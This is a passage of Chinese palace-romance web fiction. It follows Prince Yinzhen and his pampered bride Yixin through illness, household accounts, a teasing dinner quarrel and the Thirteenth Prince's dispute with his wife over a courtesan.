“妾身是来陪王爷睡的,还不是怕王爷睡不着吗?” 胤禛闷闷笑,往上托了托她的屁股,“再颠倒黑白,本王就把你扔出去。” “王爷,成亲好开心呀。” 仪欣笑盈盈望着他,吃不完的零嘴,花不完的银两,还有专属于她的怀抱,额娘和阿玛随时都能在春意楼陪她吃饭,想出门就出门。 “是吗?” 她惯会哄人,嘴又甜。 胤禛嘴角轻扬,低头亲亲她的额头,她说这话给他灌满成就感,手中突兀的小橘灯火苗雀跃。 大步走进寝殿。 仪欣环顾四周,前院寝殿没有大婚装饰,颜色很单调,梨花架瓷器花瓶多为素色。 苏培盛见状提前加了床榻被衾,香炉里点着淡雅安神香,守在榻边奉上两盏安神茶,悄声退出去。 仪欣熟络钻到被衾里,轻轻打个哈欠,胤禛更衣后看她一眼,将手中茶一饮而尽。 “好了,喝点水就认真睡觉,可以吗?”胤禛自顾自躺在外侧。 仪欣亲昵贴过来蹭蹭,摸摸他热乎乎的后腰,又蹭蹭,“可以。” 胤禛喟叹一声,大手抚摸她的脑袋和后颈,富察氏怎么将女儿宠成这般模样,又娇又乖。 他陪她回门,便能看出她在家中是受尽呵护溺爱,既然到他身边,他也宠着养便是了。 “王爷,你的扳指是不是在硌我的腰?”仪欣嘟囔着质问。 胤禛将手挡在她腰后,不管身下波涛汹涌,只淡淡说:“不是,你感觉错了。” “哦,那好吧。” 半晌。 “王爷,不和离的话,你在哪里睡,就要带着我了。”仪欣睡前叮嘱一句。 谁说过和离的混话?天天脑袋少根筋。 “嗯。”胤禛面上冷静应和,将人往怀里搂了搂,温声问:“冷吗?” 没人回应,原来怀中人已经睡着了。 寅时。 胤禛醒来后,放轻动作起身还是吵醒了仪欣。 “王爷…”仪欣懵懵坐起来,尽管夏日,外面天空仍是漆黑一片。 “继续睡吧,本王去上朝。”胤禛由苏培盛伺候着更衣,嘱咐一句。 仪欣头有点疼,睡得懵懵的,抱着一坨被衾在床榻深处又躺下了。 …… 朝堂上事情不多,胤礽恢复太子之位后,急于表现,政事大包大揽。 胤禛也乐得放手,躲个清闲。 专心侍奉康熙用早膳,替康熙更衣后一同上朝。 康熙坐在御辇上,语气随意熟稔问:“你的福晋可还好吗?” 胤禛欲言又止,半晌轻声回复:“福晋…一切安好。” “听说德妃为难她了。” 胤禛委屈垂眸,轻叹一声,也不说话。 康熙见状冷哼一声,德妃如何做派他看得清楚,当初意数富察氏为老十四嫡福晋,在他面前没少说富察氏乖巧懂事之类的话,他也是通过德妃呈上来的画像才知道富察氏姿容娇憨。 如今富察氏许给老四做嫡福晋,她便翻脸为难,实在可恨。 “这件事委屈你的福晋,朕会补给她。” 第12章还好仪欣生财有道 胤礽看着康熙和胤禛亲近模样,沉了脸色,冷脸跟胤禛点点头。 胤祺混不吝好奇凑过来,笑呵呵打趣:“四哥,有了福晋还能这么早入宫,臣弟佩服。” 胤禛冷淡看他一眼,只等着上朝。 下朝后,胤礽笑呵呵邀请胤禛品茗。 胤禛背着手摸了摸腕间佛珠,客气婉拒。 “王爷留步。”马齐快步赶来,后面傅文温和笑着拱手。 胤禛抬手抱歉说:“太子殿下,咱们下次再约。” 说完,倒是朝着马齐走过去。 马齐身材壮硕,胡须花白,年过五十依旧步伐矫健。 “王爷,小女在王府可还安好吗?” 胤禛勾唇,反问一句:“昨日春意楼,前日照春芳,大前日富察府,马齐大人不是日日都见本王和福晋吗?” 马齐憨笑两声,确实派人守在雍亲王府前,看女儿何时出门求偶遇这事做得太明显。 三人边走边聊,马齐看似憨厚,实则八面玲珑,傅文更是笑面狐狸,藏锋守拙见面三分笑意。 但是,对待仪欣的事情都抛弃些虚伪客套,三人聊天平添许多温情。 “她怎么会如此怕冷?”胤禛问。 马齐笑意苦涩,直言仪欣冬日早产,幼时身子极差,手脚冰凉是常有的事,要妥善养着。 胤禛轻轻“嗯”一声。 刚出宫门,马齐热切将胤禛拉到富察府马车旁,从马车上取下一食盒来。 “这是微臣的妻子晨起为福晋做的糕点,王爷您看……” 胤禛额角突突,点点头接过食盒,就是这样的阿玛额娘,宠惯出那只娇气小黏糕。 拎着食盒回到雍亲王府马车上,胤禛隔着厚厚的楠木食盒,还能感觉到底部传来的温热。 她是家中幺女,又自幼体弱,还长得娇憨漂亮,还嘴甜会哄人,自然是该多疼的。 胤禛扯下腰间玉佩,吩咐一句。 “苏培盛,福晋昼夜惊梦,去请太医。” 如果他猜的没错,皇上应该会让太医常驻雍亲王府,有人为她调理身体,也不错。 胤禛回府先到前院,还没进寝殿就闻到苦涩的药味。 他皱着眉头进到寝殿,看见仪欣可怜巴巴抬眼看他,身上裹着被衾,还捧着一碗汤药。 “这是怎么了?”胤禛放下手中食盒,抬腕贴了贴她的额头。 医女回复:“回王爷,福晋这是受凉引起发热。” 是昨夜。 胤禛沉默。 仪欣熟练捧着药,一饮而尽,轻车熟路漱口吃蜜饯。 胤禛打开食盒,将一块桃花酥喂到她的嘴边。 仪欣呜呜囔囔吃掉,眼前一亮,摇头晃脑地说,“昨日跟额娘说想吃小点心,今天就吃到了,真高兴。” “生病了也高兴吗?”胤禛又递过去一块桃花酥,“夜深露重,以后晚上不许乱跑。” “妾身都习惯喝药了。” 胤禛沉默一下,坐到床边将她揽到怀里,下巴贴一下她的额头,轻声承诺,“不会给你机会乱跑了,本王每晚都去找你,好不好?” “好。”仪欣脆生生答应。 “什么时候发热的?” “王爷走了之后,睡不着,就发热了。” “……” 胤禛竟是开始深思熟虑,有了她,他是不是真的还需要这么早入宫,皇上用早膳又不用他喂。 想着想着,胤禛苦笑两声。 太医来了正赶上仪欣生病,康熙送了很多名贵药材,特许宋太医常驻雍亲王府,为雍亲王福晋调养身体。 仪欣陪嫁了四名医女,都是熟悉她身体状况的,小打小闹容易病,两副药喝下去又能生龙活虎。 胤禛很爱晚睡,他天生浅眠,从前粘杆处便是专注于为他消灭窗外蝉鸣设立的,后来才渐渐演变为他手下探听情报的组织。 他二十多年都无拘无束,晚睡,不用早膳,这种事情都没有人管。 如今却因为仪欣有了偏差。 他若是熬夜晚睡,她就会抱着被衾在书房眼巴巴等着他。 也不催促,就可怜兮兮蹭蹭他的胳膊。 他就会放下政事,跟着她去睡觉。 有时候也会期待快些处理政务,早些陪她休息,在床榻上像给小兽顺毛一样抚摸她的后脑和脊背,听她在怀里渐渐平稳的呼吸。 他仍旧会寅时入宫侍膳,只不过早起会有温热的早膳躺在膳盒里。 她每日寅时都会懵懵的坐起来,困倦嘟囔一声,“王爷记得用早膳。” 有时候说得模糊如同含着糖,说不完,就困得倒下去继续睡,嗫嚅着嘴巴也不出声。 仪欣仿佛天生会爱人,会温言软语让人心脏软软,于是他甘之如饴有了一些拘束。 他一直很冷清寡淡。 亲缘暂且不提,他从前甚至少有消遣,无妻无子,兄弟缘薄,唯一爱好便是谋权夺势,他其实早已能够自洽。 无拘无束的日子过久了,他冷心冷情的以为自己讨厌拘束,没想到竟是会在这种归属感中变得醉醺醺的。 甚至,也会有些不知所措吧。 这日,仪欣窝在美人榻上,圆润润的手指轻捻一沓银票,见胤禛回来,还得意晃了晃。 “王爷,我要分你一半。”仪欣慷慨地说。 胤禛俯身把人抱在怀里,隐晦亲了亲她的耳朵,疑惑地“嗯?”一声。 “我这三个月和植宁开了一家糕点铺,刚赚到的钱。” 她名下有很多陪嫁商铺,但是这是第一个她参与经营,时常同植宁看顾的,每一种小点心她都认真吃完再提建议。 “好。”胤禛弯唇,又轻轻亲亲她的发顶。 仪欣认真数出来九百三十两银票,还推给胤禛二两碎银。 盘着腿卧在美人榻上得意挑眉,送给胤禛。 胤禛也挑眉,看着手里银票,指尖缓缓将银票展开,又将二两银子慎重放到袖袋里。 这就是她送给他的第一份礼物了。 胤禛想着,随之夸赞一句:“还好仪欣生财有道。” 苏培盛低头听着都觉得亏心,但看王爷这几个月送给福晋的首饰,哪件不是价值连城?福晋这几百两银子,送不来她身上穿得一匹蜀锦。 仪欣得意晃了晃,把属于自己的银票塞满腰间荷包,欢喜勾着他的脖颈亲吻。 胤禛轻轻抿唇笑,抿唇含上她的唇珠。 “乖,别咬我。”胤禛哄一句。 第13章爷可以把小孩吃掉吗 不知是谁。 心跳得乱七八糟的。 小手不自觉摸索他鼓鼓囊囊的袖袋,缀得沉沉的。 “怎么?刚给本王的银两,这就要拿回去?”胤禛眯着眼将她揽着,换个舒服姿势倚着贵妃榻。 “好重。”仪欣将银两拿出来放在桌上,眼眸微转,提议说,“王爷,咱们去买个乳酪冰碗庆祝一下吧。” 胤禛一噎,闭上眼拒绝:“谁允许了?” “花我的银两,怎么样?” 胤禛闻言,睁开眼无语看她一眼,又闭上,“不怎么样。不吃。” 她体寒,炎炎夏日都手脚冰凉,况且,如今天气也非炎热难耐,更是不能吃乳酪冰碗。 他这几个月倒是体会操心的滋味,仿佛仪欣是他养的女儿,他要宠她疼爱她不说,还要装得冷脸去管束她,引导她。 不出他所料,怀中人开始吭叽,又据理力争撒娇粘人,惹得他喉结滚动,口干舌燥。 “若是买糕点、簪钗、衣裳,本王立刻陪你出门,去买乳酪冰碗不可以。”胤禛折中让步。 “我吩咐厨房去做。”仪欣轻哼。 “哦。忘了跟福晋说了,府中会做乳酪冰碗的厨子,本王已经派人打死了。”胤禛淡淡开口。 “……” 仪欣:? “不会什么时候把爱吃乳酪冰碗的小仙女也打死吧?” 仪欣缩了缩脖颈,凶巴巴质问他。 胤禛被她逗得哈哈大笑,胸膛震颤如同湖面掀起扩散的涟漪,酥酥麻麻触碰仪欣的耳骨,他顺手拍一巴掌她的屁股。 “会的,所以你别闹人,本王生气会吃小孩。” 仪欣仰头继续亲,咬着他的唇吮吸,小鸡啄米似的啄吻,边亲边真诚询问,可以吗可以吗… 她知道王爷好喜欢她的亲亲,亲亲他,他就什么都会答应。 胤禛眯着眼含笑看着她,胸膛随着粗喘起伏。 侍奉的人极有眼力见悄声退下。 “乳!酪!冰!碗!”仪欣恶狠狠咬一口。 胤禛闷闷笑,将人打横抱起来,引得仪欣惊呼挣扎,大步走到寝殿内,薅着后脖颈亲上去,拍一巴掌屁股。 “别动,吃小孩呢。” 话说仪欣的这张脸本来就生的十分好看,小巧的鼻尖配上一双水润的双眼,亲密的时候会无辜又茫然的盯着人看,显得尤其可怜,更想让人欺负她,还有那张樱红的小嘴,每每轻哼,连胤禛这么冷情的人都有些把持不住。 “王爷…我要晕过去了。” 仪欣衣衫剥落,胤禛身上皱巴得不像话,银票凌乱扔在床榻上。 胤禛跪坐在床榻上,大手托着她的腰,笑着说:“爷可以把小孩吃掉吗?” “不要。”仪欣推开他的胸膛。 胤禛吐出一口气,眸色一暗。 不要就不要吧。 “福晋,今日药浴准备好了。”晴云在寝殿外轻声提醒。 胤禛缓缓收回手臂,克制半晌说:“去泡药浴。” 仪欣面色发苦,自从御医来雍亲王府,她添了每三日泡一次药浴这个任务,黑乎乎浓汤药浴,每日穿着薄纱浸泡一个时辰。 她素来怕冷,浴房充斥着白色浓雾气,药池特意引得温泉水,不会因时间太久而变凉。 剥落衣衫,露出莹白肩膀,锁骨处两朵落梅随着仪欣钻到药池中,翩然隐秘躲起来。 她这两个月感觉后腰不太凉,夏日过得平和,最恼人的还是寒冬腊月,她最讨厌喝苦药,却又不得不习以为常。 晴云替仪欣将头发扎好,指尖替仪欣按摩穴位。 仪欣舒服的如同猫儿一般依偎在药池沿,眯着眼喟叹一声。 胤禛在浴房外翻看仪欣的身体记录,手指轻轻在桌面上敲击。 宋太医在等着仪欣泡完今日药浴后把脉,然后,根据仪欣身体状况调整下一次药浴的药材。 “她能吃乳酪冰碗吗?”胤禛问。 宋太医斟酌着说:“最好不要,如果吃的话,吃两口也可以。” 胤禛未置可否,点点头。 苏培盛妥善将鼓鼓囊囊的荷包塞在宋太医手中,笑着说,“我们王爷和福晋请太医喝茶。” 宋太医作揖收下。 一个时辰到了,胤禛走进浴房,将仪欣从药池里薅出来,仪欣由晴云伺候着更衣后,心安理得窝在胤禛怀里。 粉色的脖颈,脸颊绯红,盈水美眸春意连连。 胤禛眸色深深,轻轻吐口气。 请过平安脉,仪欣重新梳妆打扮,牵住胤禛的手往外走,“王爷,我刚刚泡药浴时,决定要去春意楼用晚膳。” “替本王也决定了?”胤禛含笑看着和她十指交握的手,随意跟着她往前走。 “那王爷陪我去吗?”仪欣勾住胤禛腕间佛珠眸色亮晶晶看着他。 胤禛将她的披风系好,耸肩挑眉说:“那走吧。” 春意楼。 因为她喜欢春意楼,雍亲王府在春意楼订下一个专属的天字间,在天字间包厢上能一览八大街风光。 胤禛并不喜欢出门用膳,也不重口腹之欲,如今有她在侧,好似有些不需言语的默契,一同用膳,一同睡觉。 仪欣嘴巴很挑,喜爱各式各样膳食,每次用膳都会将他面前菜碟堆成小山,夹的满满当当的,胤禛会含笑看着她夹菜。 他无可厚非,他什么都吃。 “王爷,这个焦溜丸子特别好吃。”仪欣欢欢喜喜推荐。 胤禛用象牙筷也替她夹一颗焦溜丸子,“嗯,好好吃饭。” “谢谢王爷。”仪欣弯唇笑,眼睛也是弯弯的。 胤禛心涌泉水,想摸摸她的头,只攥紧玉箸,吃光她夹的菜。 包厢门处传来稀里哗啦摔茶盏的声音。 “这是怎么了?” 仪欣兴致勃勃,下意识起身去凑热闹,“又打起来了?” 谁跟她一样,在春意楼摔茶盏砸屏风。 胤禛抬手按住她的肩膀,瞪她一眼,“继续认真吃饭。” 苏培盛俯身进来,凑在胤禛耳侧说了什么。 “啪嗒——”一声,胤禛撂下象牙筷,沉了脸色。 又扯了扯唇角,吩咐说:“让他滚进来。” 第14章反正四哥也不喜欢他的福晋 “王爷,那是十三福晋欸?十三福晋在外面。” “嗯。” 胤禛目光幽深,转头一个眼风扫向门口。 苏培盛办事麻利,很快俯身笑着将一个男人引进包厢。 仪欣很纳闷,这不是十三爷吗?这夫妻二人可真是奇怪,一个在街上寻寻觅觅,十三爷垂头丧气在门口摔摔打打,他们不用晚膳瞎溜达啥呢? “四哥,四嫂。” 十三爷见到仪欣,倒是收敛神色,恭恭敬敬问好。 胤禛冷漠看一眼老十三,吩咐苏培盛:“把十三福晋唤上来一同用膳,就说老十三在本王这里。” 仪欣招招手唤门口处的晴云,笑着说:“将膳食换新的,让小二候着供十三福晋点菜。” “四哥…不用叫她…”十三阿哥哀求看一眼胤禛。 “胤祥。” 胤禛淡淡叫一句他的名字,当即十三阿哥低下头再说话。 十三福晋完颜氏端庄进来行礼,眼眶有些红,红宝石发簪有些微垂。 仪欣觉得气氛怪怪的,她本就爱好奇,但是又不能直接问出来,求助看一眼胤禛。 胤禛又给她夹一块焦溜丸子,让她不用理他们。 仪欣不喜欢凝滞的气氛,主动起身笑盈盈跟完颜氏聊天,悄悄将完颜氏发簪扶正。 “琪琪格姐姐,咱们曾在春日宴上见过欸。” 完颜氏感激的冲仪欣笑笑,垂眸吸了吸鼻子,搭话说:“是,四嫂,还有两年前端午宫宴,妾身也见过四嫂。” “姐姐记性真好。”仪欣笑盈盈夸一句,给她介绍春意楼好吃的菜。 胤禛轻咳警告一声,桌下隐秘捏捏她的指尖,“叫姐姐?嗯?” 仪欣讨饶挠挠胤禛的手,一刹那忘记成亲了,她一边不停给胤禛夹菜,一边笑着陪完颜氏说话。 “王爷,你吃酥山吗?”仪欣抽空指指离她最近的甜品。 男人没看清,就轻轻“嗯”一声。 胤禛看着面前的“小山”,勾唇慢条斯理用膳。 十三阿哥自觉受到冷落,小声叫一句:“四哥……” 胤禛抿唇冷淡看他一眼,“用膳。” 最近他对老十三那些事略有耳闻,老十三和那一青楼女子把酒言欢、互为知己的荒唐事,他不感兴趣,也不想插手。 十三福晋并不愿意青楼女子入府,若是老十三想养个外室,只能看老十三自己有没有本事全须全尾护住那个青楼女子。 十三阿哥有些急切。 他看自家四哥神情倦怠,倒是四嫂一个劲恭维侍奉四哥用膳,心里深深叹口气。 四哥想必同自己是同道中人吧。 他和完颜氏是皇阿玛指婚,别说情投意合、举案齐眉,几乎是连点相同爱好都没有。 完颜氏刻板无趣,行事死板,肚子里没什么墨水,总之,同胭脂没有半分可比性。 仪欣怕冷落自家王爷,笑嘻嘻给胤禛夹一块糙米酿鸭子,鼓鼓腮帮子朝他挤眉弄眼,又继续陪完颜氏聊胭脂水粉,又聊起最近她的点心铺子。 突然想起什么,仪欣谨慎试探一句:“王爷,可以吃乳酪冰碗吗?” 胤禛冷冷撩起眼皮看她一眼,看见亮晶晶期待的眼睛,她问这话可真是时候,在外人面前,总不能严词拒绝她。 端着茶饮一口,胤禛吩咐苏培盛说:“来一份乳酪冰碗。” 仪欣笑盈盈转头问完颜氏:“弟妹吃不吃,我可喜欢了。” 完颜氏看着面前娇憨可爱的女子,竟生出些慈爱之心,好似看到了自己刚满周岁的女儿在撒娇。 “妾身不用,多谢四嫂。” 乳酪冰碗上得很快,胤禛接过来轻声嘱咐一句,“只吃两口。” 两口也行。 仪欣美滋滋握着汤匙蒯了两大勺。 这两勺看得胤禛心惊胆战,她总是借坡下驴得寸进尺,夜里怕是又要难捱。 想到这个,胤禛又不耐烦看一眼老十三,若是这里只有他们两人用膳,他早就将乳酪冰碗拿过来了。 十三阿哥被那一眼看得心惊胆战,非常笃信四哥是被四嫂惹得不耐烦了。 他嗫嚅一声,“四哥……” “什么事?” “四哥,什么时候弟弟单独请四哥用个膳吧。”十三阿哥说。 仪欣下意识指了指自己:“是我碍眼了吗?” “弟弟不敢。” 胤禛闷闷笑,将乳酪冰碗顺手拿远,随口说:“十日后沐休吧。” “五日后行吗?”十三阿哥目光带些哀求。 胤禛轻轻“嗯”一声。 完颜氏看着心中苦涩,雍亲王向来同夫君交好,若是雍亲王插手这件事,那个青楼女子怕是非要清清白白入王府了。 胤禛不管旁人如何,见仪欣不动筷,晴云悄声端着漱口茶等在身后,他自顾自起身,说,“天色渐晚,回府吧。” 仪欣点点头,言笑晏晏同完颜氏告别,约定下次一同逛珍宝阁。 完颜氏笑着点头。 静静看着两人离去的背影,完颜氏回头笑意淡了,自顾自要离开。 “府中多一个胭脂,不过多一双筷子,你既然已经知道了,爷就不瞒你了。”十三阿哥说,“胭脂身世可怜,爷同她并无男女情爱,只有知己相惜,她所求也并非世俗名利地位,不过一容身之处。” 完颜氏顿住脚步,冷漠直言:“妾身只知道她出身勾栏,只知道皇阿玛不许。” 一个勾栏女子,能把贝勒府和她的女儿都推到风口浪尖上,她决不允许。 “你!”十三阿哥一甩衣袖,“爷会给她一个新身份,不会连累府上,你非要如此不依不饶吗?” “妾身不依不饶?她是哪般货色,妾身不感兴趣听她何等清高,妾身为福晋一日,便没有她入府之时。爷不妨休了妾身!” 完颜氏说着,泪珠滚滚,转身抬手抹掉。 “胭脂现在非常困难,她欠了大笔银钱,青楼逼她卖身,同为女子,你怎么就不能帮她一把?” 十三阿哥咬牙切齿,想起胭脂倚窗单薄身子,边念苦情诗词,她偏偏对正常生活充满向往。 “同为女子?”完颜氏反问呢喃一句,厉声说,“同为女子,收容她为贵妾,府中格格名声都要拖累。” “爷,妾身看不懂您的侠肝义胆。” “为什么您愿意给陌生女子一个家,却不愿给自己的女儿一个幸福安逸的家呢?” 十三阿哥一愣,来不及思索,手攥成拳,呵呵笑一声:“爷不同你多说,也不对你哀求了!四哥与我同病相怜,定是能助爷安置胭脂。” 同病相怜?完颜氏听得皱眉。 十三阿哥又冷冷一笑,故意刺激她说:“反正四哥也不喜欢他的福晋。” “也”字咬的重。 完颜氏骤然面色古怪。 第15章养个吞金兽 十三阿哥不愿多提,只冷哼一声:“爷比你了解四哥。” 完颜氏准备离开春意楼回府。 这时,十三阿哥身后怯生生出来一个粉衣女子。 桃花粉面,妖娆可怜,酥手轻轻拉上男人的衣袖,劝一句,“十三爷…别为我和福晋吵架。” “胭脂…”十三阿哥将人往身后挡了挡。 “福晋,求求您,给我一个安身之处吧。我和十三爷清清白白,绝无逾矩。”胭脂折膝跪下。 “胭脂!起来,你我本就是知己,爷不用你跪她。”十三阿哥强硬将人拉起来挡在身后。 “胤祥……”胭脂摇头,泪水滑落。 胤祥? 完颜氏麻木看着,又退回去,只是示意贴身丫鬟将包厢门关上守好。 她都不曾直呼过贝勒爷名讳。 贝勒爷用府上银两替勾栏女子还债,她可以忍,但是将人接出来安置京城客栈,不行。 静静地看着两个人诉衷肠,突然很想家中幼女,颓丧摆摆手。 “贝勒爷,皇阿玛如何严惩京中官员狎妓,您并非一无所有,更何况您是皇子,妾身决不允许妓子入府。” 说完,完颜氏扶着墙离开,丫鬟赶紧搀扶上她的手。 十三阿哥一愣,想追上去。 “狎妓…妓子…她生来便是满洲格格,怎么会知道我们这种女子的难处?” 胭脂攥住十三阿哥的衣袖,身子软了下去,“我只是想要安稳正常的生活……” 说完,骤然晕倒。 十三阿哥将人打横抱起。 只能暂且将胭脂安置在春意楼旁边的春熙客栈。 “别睡,别睡,爷给你正常的生活。” …… 仪欣牵着胤禛回到雍亲王府。 树影摇曳,烟火气里裹着近秋日的微风。 胤禛空出手来摸摸她的小肚。 仪欣倚着他的肩膀懒洋洋的被他推着走,娇憨说:“我吃的很饱。” 胤禛笑笑,他是试探一下她肚子凉不凉,“吃乳酪冰碗有没有肚子不舒服?” “哪有这么娇气?明明就吃了两口。”仪欣挽上胤禛的手臂晃了晃,暖黄戴云纹蜀锦和墨蓝色常服缠绵着。 “好,不娇气。” 胤禛手臂酥酥麻麻,连着心温软得不像话,他抽出手臂揽上身侧人的肩膀,咬牙切齿晃了晃,怎么这么可爱呢? 仪欣没有穿花盆底,身高只在胤禛下巴,挣扎着仰头看着他,男人眉眼俊美温润,月光照得睫毛根根分明。 吞咽一下口水。 仪欣鬼鬼祟祟看一眼身后跟着的苏培盛和晴云,又看一眼近在咫尺的前院梧桐。 她闭眼踮脚,他垂眸低头。 不约而同。 “王爷,你好漂亮。”她含糊不自觉说。 “你怎么能这么可爱呢?” 胤禛轻轻笑,鼻尖擦过她的耳后,弯腰埋在她的颈窝里笑。 他真不知道说什么了。 仪欣膝盖撞一下他拎着的小罐红枣梨汤,“咱们回寝殿喝小罐梨汤吧,再不喝它要凉了。” 胤禛直起身子,将梨汤递给身后晴云,说:“本王前院还有政务,你先回正院喝梨汤。” 仪欣蹙眉,她还没有进过前院书房,她一个人待着会无趣,梨汤都不香甜了。 “我也要去。”仪欣说,“我在王爷的书房看府上账本。” 胤禛沉默一下,又揽过她的肩膀,轻叹一声,“走吧。” 他能明显感觉到专属于自己的领地在缩小,她莽撞懵懂,横冲直撞,从陪她睡觉,陪她吃饭,到如今,书房于他,毕竟意义不同。 那她呢? 胤禛想着还是叮嘱一句:“在书房不要乱翻,困了就回正院睡觉,可以吗?” “当然可以。”仪欣爽快答应。 仪欣每到府中一个地方,那个地方当即会变得满满当当。 胤禛书房多了一张美人榻,榻旁梨花矮桌上,摆着一罐奶白色梨汤,铜胎画珐琅攒盒里摆着小零嘴。 仪欣窝在美人榻上,腿旁是一摞府中流水账册,还有她嫁妆铺子的流水,她指尖指着账册上的墨痕移动。 越看心里越咯噔,怎么她来王府这三个月花了这么多银两? 谁花的?她吗? 胤禛做事专注,这时候却忍不住频频抬头看她在做什么,看她纳闷又震惊的小模样,忍俊不禁。 苏培盛候着将烛火挑亮,看着王爷的动作,心里一点也不平静,福晋…这也太得宠了。 这么想着,苏培盛缓步挪过去,将仪欣美人榻前的烛火挑亮。 仪欣弯着眼睛笑着说:“谢谢苏公公。” 苏培盛受宠若惊连连点头,又不带谄媚提醒一句:“哎呦,福晋,仔细劳累着。” 福晋人可真好。 胤禛听着动静抬头,看着苏培盛前前后后为女子端茶倒水,她怎么回事,傻乎乎笑什么呢? 他抬腕招招手,“过来。” 仪欣瞄一眼,他叫小狗呢? “王爷过来。” 灯下雪白柔软的身子向前探了探,仪欣的手无意识的往前伸了伸。 胤禛立刻会意的把人捞到怀里,唇在那柔软的发顶餍足的触碰了下。 仪欣咯咯笑,小声说,“王爷,你是一只小狗。” 他是小狗? 胤禛磨了磨牙,薅起来和她四目相对,他瞳色漆黑,慢悠悠开口,“富察仪欣,你也是一只小狗。” 他喜欢小狗。 仪欣啄吻一下,捧过账册,指了指上面的记账,纳闷问:“王爷,这账册是真的吗?” “怎么了?” 胤禛拿过来扫一眼,意识到什么,转了转佛珠看她一眼。 仪欣葱白手指划过一个个数字,惊叹说:“王爷,妾身没嫁过来之前,府中每月流水才五百两。” “嗯。”胤禛随意倚在美人榻上。 “妾身嫁过来…这三个月花出去万两白银啊???” 仪欣又戳了戳账册,恨不得看出个窟窿来,她从前不管家,哪有什么柴米油盐酱醋茶的观念,月例十几两便已足够。 “嗯。”胤禛淡定喝一口她的小吊梨汤。 “王爷…这能是真的吗?” 仪欣不信,她只不过是去酒楼用膳,置办些簪钗布匹,种种花草,隔三差五和植宁去个赏花宴什么的。 “白纸黑字,福晋这也要赖账吗?”胤禛逗她。 仪欣讪笑两声,连忙给自家王爷捏了捏肩,又谄媚笑嘻嘻捶腿。 第16章养个吞金兽(2) 他漆黑的瞳孔看着蹲在地上明眸善睐的人儿,笑一声,“王府又不是养不起你,本王又没说什么。” “如今只是雍亲王府正常流水,从前花的少,是本王的问题。” 从前王府没人,他又不喜应酬,公中账上流水自然极少,他手下确实养着一批人,只不过是不在明面的账本上。 其实,她来三个月,他也沾光,她捎带为他置办许多衣裳,还有珠玉配饰,他觉得很不错。 她只不过就是置办些女儿家的小玩意,多养一些丫鬟小厮,多些与她朋友间的人情往来,这有什么。 只不过,药生尘,她康健无疾病,就更好了。 仪欣喝两口梨汤,斟酌提议说:“王爷,要不妾身还是花自己嫁妆吧,妾身有很多银两。” “根本花不完。” 仪欣掰扯一下,“从富察府带来的丫鬟小厮的月例,妾身都在嫁妆里出银两。” 胤禛上扬的唇角缓缓落下,自顾自起身,坐回桌案前,继续处理政务。 仪欣懵懵的,真的嫌弃她生活奢靡了? 她追过去,又歪头问一句,“要不,王爷和妾身出去用膳,咱们轮流结账吧。” “可以吗,王爷?” “妾身……” 妾身妾身妾身…叽里咕噜说什么呢? 她连一顿饭都要计较了? 胤禛笑一下,她腕间玉镯是他送的生辰礼,身上衣裳是他跟皇阿玛要来的御贡蜀锦,簪钗是府库中价值连城珍品,日日珍稀药材供养她药膳药浴,后山还引了温泉。 她这是要自己用嫁妆养自己呢?她养的明白吗?她能把自己养好吗? “王爷!”仪欣大声喊一句,他怎么突然不理她了? 胤禛掩住她的嘴,小嘴叭叭太气人,不爱听。 “福晋要自己拿嫁妆养从富察府带来的丫鬟小厮,不妨把本王一起养了吧。” 胤禛合上手边信函,淡淡开口,“本王明日不想上朝了,这就跟皇阿玛请辞。” “累了,不想努力了。”他倚着椅子靠背。 “什么?”仪欣目瞪口呆摸了摸荷包银两,谨慎说一声,“妾身怕养不起王爷。” 胤禛嗤笑,显然不信,背过身去幽幽开口:“本王全府上下每月只花五百两,福晋都不愿意养着本王吗?” “那福晋怎么养的起那么多丫鬟小厮呢?” “本王不如他们重要吗?” 仪欣晃了晃脑袋,她怎么拐不过弯呢?她什么时候说王爷不如丫鬟小厮重要了? 犹豫半晌,仪欣掏出荷包银两,隔着椅背塞到胤禛手里,下定决心说:“没关系,那…那没事!” 不太富裕的小手一挥,“那日后王府上下流水走妾身嫁妆就好了。” 胤禛慢慢回头,桃花眼在仪欣身上逡巡一会,慢条斯理端过茶盏饮一口,感激笑笑:“那就全倚仗福晋了。” 苏培盛在角落里看得目瞪口呆。 书房里没有旁的侍奉的人,王爷这也太…太…呵呵。 …… 仪欣恨不得连夜叫王府各管事来开晨会。 边思考边踱步到美人榻旁,专心看账册冥神苦思。 她手上有十来间商铺,都是极好的地段,各个盈余颇丰,还有京城郊区六个庄子,三处林庄,良田千顷。 若是三个月万两白银,可能,临近除夕人情往来花费还要多些。 处理完政事,胳膊支着头,胤禛注视着美人榻旁算账的人儿。 看她揉眼睛,胤禛起身,把美人榻上的仪欣薅到怀里,裹上她的披风,抱着大步回寝殿。 “王爷,您明日真不上朝了吗?”仪欣舒服窝在怀里,好奇问。 “嗯。”胤禛把人往怀里搂了搂,披风挡住庭间秋风,最近几日朝上风声不对劲,称病休整几日正是时候,只是她实在…… 怎么旁人都守着嫁妆生怕夫家惦记,就她,倒是大方。 两人沐浴更衣,仪欣一身水汽钻到胤禛怀里,侍女将床幔解落。 胤禛倚在床头捻着佛珠默念佛经。 怀中人如往常夜里那般不老实,仰着头亲他的下巴,娇气哼哼到处啄吻。 亲到嘴唇时,胤禛垂眸避了一下。 仪欣一愣。 又试探亲亲。 胤禛躲一下,佛珠套在手腕上,“睡吧。” 仪欣恼了,“咱们是夫妻,为什么不能亲?” “夫妻就能随便亲吗?”胤禛眸色深深,平淡说出几个字。 仪欣抱上他的腰,蹭了蹭,“王爷,你不用担心,我肯定养的起你。” “现在可以亲了吗?” “不可以。”胤禛背过身去,自顾自躺下,他是勾栏卖身的吗。 要她养着,他就得陪她睡,跟她接吻。 每个月五百两银子,哪家青楼是这个价格,他是不是得打听打听他要价适宜与否。 胤禛气得有些上头,他也不知道他生气什么。 原来她也知道她与他是夫妻。 “你不疼我了吗?” 胤禛一僵,身后传来哽咽的哭声和又轻又软的询问。 他转身把人搂在怀里抱紧,叹一口气。 “为什么不疼我了呢?” 仪欣蜷缩身子,挣扎着要退出他的怀里,喉咙咽下酸水,她想不明白,他从来不会拒绝她的亲吻,夫妻就应该一起吃饭,一起睡觉,一起亲吻,不是吗? “我没有不疼仪欣。”胤禛垂眸。 仪欣不高兴,又觉得心跳有点快,不由得刨根问底。 “我们是夫妻,为什么不能接吻?王爷是想要和离吗?” 仪欣有种无赖的娇纵,裹在被子里缠在胤禛身上,嘴一瘪,眼尾挂着两颗珍珠眼泪。 “亲。”胤禛咬牙,“亲久一点,闭眼睛。” 今晚不亲哭她,他就对不起她东一句西一句胡说八道。 